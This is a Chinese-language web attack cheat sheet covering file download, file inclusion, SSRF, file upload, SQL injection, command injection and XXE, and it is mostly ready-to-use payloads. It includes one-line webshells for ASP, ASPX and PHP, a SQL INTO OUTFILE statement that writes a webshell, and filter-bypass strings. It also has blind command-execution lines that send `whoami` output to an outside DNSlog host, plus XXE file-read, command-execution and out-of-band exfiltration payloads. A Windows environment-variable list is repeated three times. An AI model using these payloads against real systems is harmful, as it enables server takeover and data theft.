一些网站由于业务需求,往往需要提供文件查看或下载功能。一般来说在文件下载或查看功能处,当文件名参数可控,且系统未对参数进行严格过滤或者过滤不严格时,就能够实现下载服务器上的任何文件,产生任意文件下载漏洞,黑客可以利用( ../ )跳出程序本身的限制目录实现下载任意文件。
常见敏感文件路径
程序员在开发过程中会把经常使用的函数写好封装在一个单独的文件中,在使用时直接调用该文件,在调用文件的过程一般称为包含。开发时,程序员希望代码更加灵活,通常会将被包含的文件设置为变量。进行动态调用,虽然提高了灵活性,但是安全性则大大降低,这样会导致客户端可以调用一个恶意的文件,造成文件包含漏洞。这类漏洞十分常见,因为几乎所有的脚本语言中都会有文件包含的功能。文件包含漏洞在PHP web应用中居多,在JSP、ASP程序中比较少。
php://input
file=php://input
[POST DATA] <?php phpinfo(); ?>
php://filter
file=php://filter/read=convert.base64-
encode/resource=phpinfo.php
data://
?file=data:text/plain,<?php phpinfo();
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档等等。SSRF漏洞通过篡改获取资源的请求发送给服务器(服务器并没有检测这个请求是否合法的),然后服务器以他的身份来访问服务器的其他资源。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
文件上传本身是指一个功能,比如用户可以上传头像、上传资料等。而如果能够上传任意文件,则可能存在上传漏洞(注意是可能,不是一定)。
1、文件能上传;
2、文件能被服务器解析(你传的文件要能被当做后端脚本处理);
3、能访问得到上传的文件,如果访问不到,则无法对文件进行控制,也就没有漏洞的说法。(文件路径通常只有在根目录里面才能访问到)
任意文件上传漏洞,首先要有能上传文件的的地方,即要有文件上传点。有一些网站虽然貌似没有上传点,但是其实存在上传代码的。虽然没有明确使用上传功能 ,但使用了上传有关的函数,这种情况需要通过代码审计去看。
文件上传一般是要先登陆目标网站,用管理员账号或者普通账号都可以,最常见的就是上传头像。
-->ASP
<%eval request("x")%>
<%execute request("x")%>
--> ASPX
<%@ Page Language=”Jscript”%><%eval(Request.Item["x"],”unsafe”);%>
--> PHP
<?php eval($_POST['x']);?>
<?php assert($_POST['x']);?>
冷门后缀大小写绕过
双写绕过
改.htaccess解析
改.user.ini自动包含
Windows特性 空格
Windows特性 点.
GET/post型00截断
条件竞争
Web容器解析漏洞
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
查询所有数据库
group_concat(schema_name) from information_schema.schemata
查看当前数据库表名
group_concat(table_name) from information_schema.tables where
table_schema=database()
查看其他数据库表名
group_concat(table_name) from information_schema.tables where table_schema='数据库名'
查询当前数据库下的 users 表的列名
group_concat(column_name) from information_schema.columns where table_name='users'
查询其他数据库下表的列名
group_concat(column_name) from information_schema.columns where table_schema='数 据库名' and table_name='表名';
查询当前库下的字段值
group_concat(id,username,password) from users
查询其他库下的字段值
group_concat(字段名) from 数据库名.表名
1.secure_file_priv="" #在my.ini中,值为空时可写入任何文件,值为NULL是无法写入任何文件,值为某个路径时候只能往该路径写入
2.查询:show variables like %secure%
3.设置:set global secure_file_priv="";(5.6以下可以,以上要到my.ini文件中手动修改)
语句:
`UNION SELECT 1,2,3,4,5,6,7,8,9,10,"<?php @eval($_REQUEST['a']);?>",12,13 into outfile "/var/www/html/aaa.php"
空格绕过
使用 /**/绕过过滤空格。
id=1'/**/AND/**/1=1#
不使用空格绕过
id=(sleep(ascii(mid(user()from(2)for(1)))=109))
1'||updatexml(1,concat(0x7e,version()),1)||'1'='1
特殊字符代替
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
' or '1'='1
' or 1=1#
1'||'1
1'||1#
'='
'-'
--空格
--空格a
#
/**/
id=1' and '1
sleep(n)=0
什么是命令执行漏洞?命令执行漏洞就是服务器端没有对客户端用户输入的命令进行过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令。为什么客户端能直接对服务器执行命令呢,因为在服务器安装的web程序,web框架和web组件等外部程序有时候去需要调用执行命令的函数,所以如果没有对客户端用户输入的命令进行过滤,就会使得用户通过外部程序直接编写和执行系统的命令函数。
1. cmd1 | cmd2 (|管道操作符)
将cmd1的结果输出给cmd2
2. cmd1 & cmd2 (&和号操作符)
让命令在后台运行
3. cmd1 ; cmd2 (; 分号操作符)
执行多条命令。
4. cmd1 && cmd2 (&& 与操作符)
只有cmd1命令执行成功后,才会执行cmd2。
5. cmd1 || cmd2 (|| 或操作符)
cmd1执行失败,才会执行cmd2。
1. 字符串拼接
IFS(内部域分隔),是Shell的内置变量,是一个用于分割字段的字符
列表,默认值是空白(包括空格、tab、换行)。
2. 使用{}
例如{cat,text}
3. 使用Tab
?_=cat%09/etc/passwd
4. 在读取文件的时候利用重定向符<>
cat<>text cat<text
1. 字符串拼接
a=c;b=at;c=tex;d=t;$a$b ${c}${d}
2. 利用环境变量
echo ${SHELLOPTS}
echo ${SHELLOPTS:3:1}
${SHELLOPTS:3:1}at${IFS}text
3. 使用空变量
cat t${x}ext
4. 利用Linux通配符(? *)
/bin/ca? tex?
5. 使用反斜杠
6. 使用base64编码
echo t | base64
ca$(echo "dAo="|base64 -d) text
无回显情况
curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io
http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.xxxx.ceye.io
%APPDATA% : 列出应用程序数据的默认存放位置。
%CD% : 列出当前目录。
%CLIENTNAME% : 列出联接到终端服务会话时客户端的NETBIOS名。
%CMDCMDLINE% : 列出启动当前cmd.exe所使用的命令行。
%CMDEXTVERSION% : 命令出当前命令处理程序扩展版本号。
%CommonProgramFiles% : 列出了常用文件的文件夹路径。
%COMPUTERNAME% : 列出了计算机名。
%COMSPEC% : 列出了可执行命令外壳(命令处理程序)的路径。
%DATE% : 列出当前日期。
%ERRORLEVEL% : 列出了最近使用的命令的错误代码。
%HOMEDRIVE% : 列出与用户主目录所在的驱动器盘符。
%HOMEPATH% : 列出用户主目录的完整路径。
%HOMESHARE% : 列出用户共享主目录的网络路径。
%LOGONSEVER% : 列出有效的当前登录会话的域名控制器名。
%NUMBER_OF_PROCESSORS% : 列出了计算机安装的处理器数。
%OS% : 列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.)
%Path% : 列出了可执行文件的搜索路径。
%PATHEXT% : 列出操作系统认为可被执行的文件扩展名。
%PROCESSOR_ARCHITECTURE% : 列出了处理器的芯片架构。
%PROCESSOR_IDENTFIER% : 列出了处理器的描述。
%PROCESSOR_LEVEL% : 列出了计算机的处理器的型号。
%PROCESSOR_REVISION% : 列出了处理器的修订号。
%ProgramFiles% : 列出了Program Files文件夹的路径。
%PROMPT% : 列出了当前命令解释器的命令提示设置。
%RANDOM% : 列出界于0 和 32767之间的随机十进制数。
%SESSIONNAME% : 列出连接到终端服务会话时的连接和会话名。
%SYSTEMDRIVE% : 列出了Windows启动目录所在驱动器。
%SYSTEMROOT% : 列出了Windows启动目录的位置。
%TEMP% and %TMP% : 列出了当前登录的用户可用应用程序的默认临时目录。
%TIME% : 列出当前时间。
%USERDOMAIN% : 列出了包含用户帐号的域的名字。
%USERNAME% : 列出当前登录的用户的名字。
%USERPROFILE% : 列出当前用户Profile文件位置。
%WINDIR% : 列出操作系统目录的位置。
%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
%CD% 本地 返回当前目录字符串。
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME% 系统 返回计算机的名称。
%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%PATH% 系统 指定可执行文件的搜索路径。
%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 系统 返回处理器的版本号。
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
%USERNAME% 本地 返回当前登录的用户的名称。
%USERPROFILE% 本地 返回当前用户的配置文件的位置。
%WINDIR% 系统 返回操作系统目录的位置。
%allusersprofile%--------------------所有用户的profile路径
%Userprofile%-----------------------当前用户的配置文件目录
%Appdata%--------------------------当前用户的应用程序路径
%commonprogramfiles%-------------应用程序公用的文件路径
%homedrive%------------------------当前用户的主盘
%Homepath%------------------------当前用户的主目录
%programfiles%----------------------应用程序的默认安装目录
%systemdrive%----------------------系统所在的盘符
%systemroot%-----------------------系统所在的目录
%windir%----------------------------同上,总是跟systemroot一样
%tmp%------------------------------当前用户的临时目录
%temp%-----------------------------同上临时目录
XML 外部实体注入(也称为 XXE)是一个 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
file:可用 file://文件地址,来读取文件
http:可以访问 HTTP(S) 网址
FTP:访问 FTP
PHP:访问各个 输入/输出 流
zlib:压缩流
data:数据
glob:查找匹配的文件格式路径
expect:处理交互式的流,可用来执行命令,但需要先安装相应插件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "file:///var/www/html/test.txt">
]>
<c>&test;</c>
因为 PHP 中有 <?php ?>,当 XML 解析时,遇到 <? 这类的符号时,会将 PHP 当做 XML 去解析,所以会报错,故需要将其进行 base64 编码读出。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<c>&test</c>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "http://127.0.0.1:3306">
]>
<c>&test</c>
若想执行协议,则需要目标主机上安装了 expect 插件,并且做了相关配置。条件较苛刻,所以比较少见。同时还有一点需要注意:所执行的命令不允许含有空格。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "expect://ls">
]>
<c>&test</c>
若服务器没有回显,那么只能使用 Blind XXE 来构建一条带外数据 (OOB) 通道来读取数据。payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file///filename">
<!ENTITY % remote SYSTEM "http://ip/test.xml">
%remote;
%send;
]>
数据服务器上xml:
<!ENTITY % all
"<!ENTITY %#x25; send SYSTEM "http://ip/test.xml?p=%file;">"
>
%all;
先调用%remote,调用后访问远程服务器上的xml,然后服务器上的xml中的%all被赋予了下一行的值,第二行中的%send值后面的外部参数体声明将SYSTEM后面的内容赋给了%send,也就是传入实体%file访问远程服务器